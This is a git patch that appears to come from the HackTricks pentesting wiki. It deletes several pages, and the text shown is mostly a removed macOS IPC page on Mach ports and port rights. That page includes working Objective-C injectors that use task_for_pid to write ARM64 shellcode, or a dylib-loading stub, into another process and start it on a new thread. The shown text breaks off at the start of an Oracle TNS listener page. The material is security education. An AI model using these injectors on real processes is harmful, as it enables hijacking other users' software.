{{#include ../banners/hacktricks-training.md}} From 58595d7fb1c7b017a9f5d2e8908dbd90393ec4d9 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Wed, 3 Sep 2025 12:55:30 +0200 Subject: [PATCH 12/15] updates --- .../README.md | 858 ------------------ .../README.md | 68 -- .../iis-internet-information-services.md | 25 + .../pentesting-web/laravel.md | 19 + .../web-vulnerabilities-methodology/README.md | 132 --- .../cryptographic-algorithms/README.md | 186 ---- src/reversing/reversing-tools/README.md | 119 --- .../README.md | 199 ---- 8 files changed, 44 insertions(+), 1562 deletions(-) delete mode 100644 src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md delete mode 100644 src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md delete mode 100644 src/pentesting-web/web-vulnerabilities-methodology/README.md delete mode 100644 src/reversing/cryptographic-algorithms/README.md delete mode 100644 src/reversing/reversing-tools/README.md delete mode 100644 src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md deleted file mode 100644 index 7199ef495..000000000 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ /dev/null @@ -1,858 +0,0 @@ -# macOS IPC - Inter Process Communication - -{{#include ../../../../banners/hacktricks-training.md}} - -## Mach messaging via Ports - -### Basic Information - -Mach uses **tasks** as the **smallest unit** for sharing resources, and each task can contain **multiple threads**. These **tasks and threads are mapped 1:1 to POSIX processes and threads**. - -Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilising one-way communication channels. **Messages are transferred between ports**, which act like **message queues** managed by the kernel. - -Each process has an **IPC table**, in there it's possible to find the **mach ports of the process**. The name of a mach port is actually a number (a pointer to the kernel object). - -A process can also send a port name with some rights **to a different task** and the kernel will make this entry in the **IPC table of the other task** appear. - -### Port Rights - -Port rights, which define what operations a task can perform, are key to this communication. The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): - -- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - - A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. -- **Send right**, which allows sending messages to the port. - - The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**. -- **Send-once right**, which allows sending one message to the port and then disappears. -- **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names. - -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. - -### File Ports - -File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a `fileport` from a given FD using `fileport_makeport` and create a FD froma. fileport using `fileport_makefd`. - -### Establishing a communication - -#### Steps: - -As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved. - -1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. -6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication). - -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. - -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**. - -For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: - -- Task **B** initiates a bootstrap **lookup** for a service name. -- **launchd** checks if the task is running and if it isn’t, **starts** it. -- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -- launchd duplicates the **SEND right and sends it to Task B**. -- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication). - -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. - -### A Mach Message - -[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows: - -```c -typedef struct { - mach_msg_bits_t msgh_bits; - mach_msg_size_t msgh_size; - mach_port_t msgh_remote_port; - mach_port_t msgh_local_port; - mach_port_name_t msgh_voucher_port; - mach_msg_id_t msgh_id; -} mach_msg_header_t; -``` - -Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. - -In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). - -> [!TIP] -> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`). But **usually different ports are created** as explained previously to create the bi-directional communication. - -The other fields of the message header are: - -- `msgh_size`: the size of the entire packet. -- `msgh_remote_port`: the port on which this message is sent. -- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html). -- `msgh_id`: the ID of this message, which is interpreted by the receiver. - -> [!CAUTION] -> Note that **mach messages are sent over a \_mach port**\_, which is a **single receiver**, **multiple sender** communication channel built into the mach kernel. **Multiple processes** can **send messages** to a mach port, but at any point only **a single process can read** from it. - -### Enumerate ports - -```bash -lsmp -p -``` - -You can install this tool in iOS downloading it from [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) - -### Code example - -Note how the **sender** **allocates** a port, create a **send right** for the name `org.darlinghq.example` and send it to the **bootstrap server** while the sender asked for the **send right** of that name and used it to **send a message**. - -{{#tabs}} -{{#tab name="receiver.c"}} - -```c -// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html -// gcc receiver.c -o receiver - -#include -#include -#include - -int main() { - - // Create a new port. - mach_port_t port; - kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); - if (kr != KERN_SUCCESS) { - printf("mach_port_allocate() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_allocate() created port right name %d\n", port); - - - // Give us a send right to this port, in addition to the receive right. - kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); - if (kr != KERN_SUCCESS) { - printf("mach_port_insert_right() failed with code 0x%x\n", kr); - return 1; - } - printf("mach_port_insert_right() inserted a send right\n"); - - - // Send the send right to the bootstrap server, so that it can be looked up by other processes. - kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_register() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_register()'ed our port\n"); - - - // Wait for a message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - mach_msg_trailer_t trailer; - } message; - - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_RCV_MSG, // Options. We're receiving a message. - 0, // Size of the message being sent, if sending. - sizeof(message), // Size of the buffer for receiving. - port, // The port to receive a message on. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Got a message\n"); - - message.some_text[9] = 0; - printf("Text: %s, number: %d\n", message.some_text, message.some_number); -} -``` - -{{#endtab}} - -{{#tab name="sender.c"}} - -```c -// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html -// gcc sender.c -o sender - -#include -#include -#include - -int main() { - - // Lookup the receiver port using the bootstrap server. - mach_port_t port; - kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port); - if (kr != KERN_SUCCESS) { - printf("bootstrap_look_up() failed with code 0x%x\n", kr); - return 1; - } - printf("bootstrap_look_up() returned port right name %d\n", port); - - - // Construct our message. - struct { - mach_msg_header_t header; - char some_text[10]; - int some_number; - } message; - - message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); - message.header.msgh_remote_port = port; - message.header.msgh_local_port = MACH_PORT_NULL; - - strncpy(message.some_text, "Hello", sizeof(message.some_text)); - message.some_number = 35; - - // Send the message. - kr = mach_msg( - &message.header, // Same as (mach_msg_header_t *) &message. - MACH_SEND_MSG, // Options. We're sending a message. - sizeof(message), // Size of the message being sent. - 0, // Size of the buffer for receiving. - MACH_PORT_NULL, // A port to receive a message on, if receiving. - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL // Port for the kernel to send notifications about this message to. - ); - if (kr != KERN_SUCCESS) { - printf("mach_msg() failed with code 0x%x\n", kr); - return 1; - } - printf("Sent a message\n"); -} -``` - -{{#endtab}} -{{#endtabs}} - -### Privileged Ports - -- **Host port**: If a process has **Send** privilege over this port he can get **information** about the **system** (e.g. `host_processor_info`). -- **Host priv port**: A process with **Send** right over this port can perform **privileged actions** like loading a kernel extension. The **process need to be root** to get this permission. - - Moreover, in order to call **`kext_request`** API it's needed to have other entitlements **`com.apple.private.kext*`** which are only given to Apple binaries. -- **Task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`. -- **Task port** (aka kernel port)**:** With Send permission over this port it's possible to control the task (read/write memory, create threads...). - - Call `mach_task_self()` to **get the name** for this port for the caller task. This port is only **inherited** across **`exec()`**; a new task created with `fork()` gets a new task port (as a special case, a task also gets a new task port after `exec()`in a suid binary). The only way to spawn a task and get its port is to perform the ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) while doing a `fork()`. - - These are the restrictions to access the port (from `macos_task_policy` from the binary `AppleMobileFileIntegrity`): - - If the app has **`com.apple.security.get-task-allow` entitlement** processes from the **same user can access the task port** (commonly added by Xcode for debugging). The **notarization** process won't allow it to production releases. - - Apps with the **`com.apple.system-task-ports`** entitlement can get the **task port for any** process, except the kernel. In older versions it was called **`task_for_pid-allow`**. This is only granted to Apple applications. - - **Root can access task ports** of applications **not** compiled with a **hardened** runtime (and not from Apple). - -### Shellcode Injection in thread via Task port - -You can grab a shellcode from: - - -{{#ref}} -../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md -{{#endref}} - -{{#tabs}} -{{#tab name="mysleep.m"}} - -```objectivec -// clang -framework Foundation mysleep.m -o mysleep -// codesign --entitlements entitlements.plist -s - mysleep - -#import - -double performMathOperations() { - double result = 0; - for (int i = 0; i < 10000; i++) { - result += sqrt(i) * tan(i) - cos(i); - } - return result; -} - -int main(int argc, const char * argv[]) { - @autoreleasepool { - NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] -processIdentifier]); - while (true) { - [NSThread sleepForTimeInterval:5]; - - performMathOperations(); // Silent action - - [NSThread sleepForTimeInterval:5]; - } - } - return 0; -} -``` - -{{#endtab}} - -{{#tab name="entitlements.plist"}} - -```xml - - - - com.apple.security.get-task-allow - - - -``` - -{{#endtab}} -{{#endtabs}} - -**Compile** the previous program and add the **entitlements** to be able to inject code with the same user (if not you will need to use **sudo**). - -
- -sc_injector.m - -```objectivec -// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector - -#import -#import -#include -#include - - -#ifdef __arm64__ - -kern_return_t mach_vm_allocate -( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags -); - -kern_return_t mach_vm_write -( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt -); - - -#else -#include -#endif - - -#define STACK_SIZE 65536 -#define CODE_SIZE 128 - -// ARM64 shellcode that executes touch /tmp/lalala -char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00"; - - -int inject(pid_t pid){ - - task_t remoteTask; - - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } - - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { - - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } - - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - - - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source - - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } - - - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } - - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } - - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; - - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 - - const char* p = (const char*) remoteCode64; - - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } - - return (0); -} - -pid_t pidForProcessName(NSString *processName) { - NSArray *arguments = @[@"pgrep", processName]; - NSTask *task = [[NSTask alloc] init]; - [task setLaunchPath:@"/usr/bin/env"]; - [task setArguments:arguments]; - - NSPipe *pipe = [NSPipe pipe]; - [task setStandardOutput:pipe]; - - NSFileHandle *file = [pipe fileHandleForReading]; - - [task launch]; - - NSData *data = [file readDataToEndOfFile]; - NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; - - return (pid_t)[string integerValue]; -} - -BOOL isStringNumeric(NSString *str) { - NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; - NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; - return r.location == NSNotFound; -} - -int main(int argc, const char * argv[]) { - @autoreleasepool { - if (argc < 2) { - NSLog(@"Usage: %s ", argv[0]); - return 1; - } - - NSString *arg = [NSString stringWithUTF8String:argv[1]]; - pid_t pid; - - if (isStringNumeric(arg)) { - pid = [arg intValue]; - } else { - pid = pidForProcessName(arg); - if (pid == 0) { - NSLog(@"Error: Process named '%@' not found.", arg); - return 1; - } - else{ - printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); - } - } - - inject(pid); - } - - return 0; -} -``` - -
- -```bash -gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject -./inject -``` - -### Dylib Injection in thread via Task port - -In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previous injection, was generated using Mach api, so **it's not posix compliant**. - -It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**. - -Therefore, to **improve the thread** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load a dylib** from the system, so instead of writing new shellcode to perform different actions it's possible to load custom libraries. - -You can find **example dylibs** in (for example the one that generates a log and then you can listen to it): - - -{{#ref}} -../../macos-dyld-hijacking-and-dyld_insert_libraries.md -{{#endref}} - -
- -dylib_injector.m - -```objectivec -// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector -// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include - - -#ifdef __arm64__ -//#include "mach/arm/thread_status.h" - -// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported -// And I say, bullshit. -kern_return_t mach_vm_allocate -( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags -); - -kern_return_t mach_vm_write -( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt -); - - -#else -#include -#endif - - -#define STACK_SIZE 65536 -#define CODE_SIZE 128 - - -char injectedCode[] = - - // "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) - - // Call pthread_set_self - - "\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables - "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack - "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer - "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the - "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; - "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start - "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; - "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) - "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread - "\x00\x00\x00\x14" // loop: b loop ; loop forever - - // Call dlopen with the path to the library - "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; - "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; - "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop - "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() - - // Call pthread_exit - "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT - "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; - "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit - - "PTHRDCRT" // <- - "PTHRDEXT" // <- - "DLOPEN__" // <- - "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; - - - - -int inject(pid_t pid, const char *lib) { - - task_t remoteTask; - struct stat buf; - - // Check if the library exists - int rc = stat (lib, &buf); - - if (rc != 0) - { - fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); - //return (-9); - } - - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } - - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { - - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } - - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - - - // Patch shellcode - - int i = 0; - char *possiblePatchLocation = (injectedCode ); - for (i = 0 ; i < 0x100; i++) - { - - // Patching is crude, but works. - // - extern void *_pthread_set_self; - possiblePatchLocation++; - - - uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; - uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; - uint64_t addrOfDlopen = (uint64_t) dlopen; - - if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadExit,8); - printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); - } - - if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); - printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); - } - - if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) - { - printf ("DLOpen @%llx\n", addrOfDlopen); - memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); - } - - if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) - { - strcpy(possiblePatchLocation, lib ); - } - } - - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source - - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } - - - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } - - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } - - - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; - - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 - - const char* p = (const char*) remoteCode64; - - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } - - return (0); -} - - - -int main(int argc, const char * argv[]) -{ - if (argc < 3) - { - fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); - fprintf (stderr, " _action_: path to a dylib on disk\n"); - exit(0); - } - - pid_t pid = atoi(argv[1]); - const char *action = argv[2]; - struct stat buf; - - int rc = stat (action, &buf); - if (rc == 0) inject(pid,action); - else - { - fprintf(stderr,"Dylib not found\n"); - } - -} -``` - -
- -```bash -gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector -./inject -``` - -### Thread Hijacking via Task port - -In this technique a thread of the process is hijacked: - - -{{#ref}} -../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md -{{#endref}} - -## XPC - -### Basic Information - -XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process. - -For more information about how this **communication work** on how it **could be vulnerable** check: - - -{{#ref}} -../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ -{{#endref}} - -## MIG - Mach Interface Generator - -MIG was created to **simplify the process of Mach IPC** code creation. It basically **generates the needed code** for server and client to communicate with a given definition. Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before. - -For more info check: - - -{{#ref}} -../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md -{{#endref}} - -## References - -- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) -- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html) -- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a) -- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) - -{{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md deleted file mode 100644 index b400ed8ba..000000000 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ /dev/null @@ -1,68 +0,0 @@ -# 1521,1522-1529 - Pentesting Oracle TNS Listener - -{{#include ../../banners/hacktricks-training.md}} - -## Basic Information - -Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation (from [here](https://www.techopedia.com/definition/8711/oracle-database)). - -When enumerating Oracle the first step is to talk to the TNS-Listener that usually resides on the default port (1521/TCP, -you may also get secondary listeners on 1522–1529-). - -``` 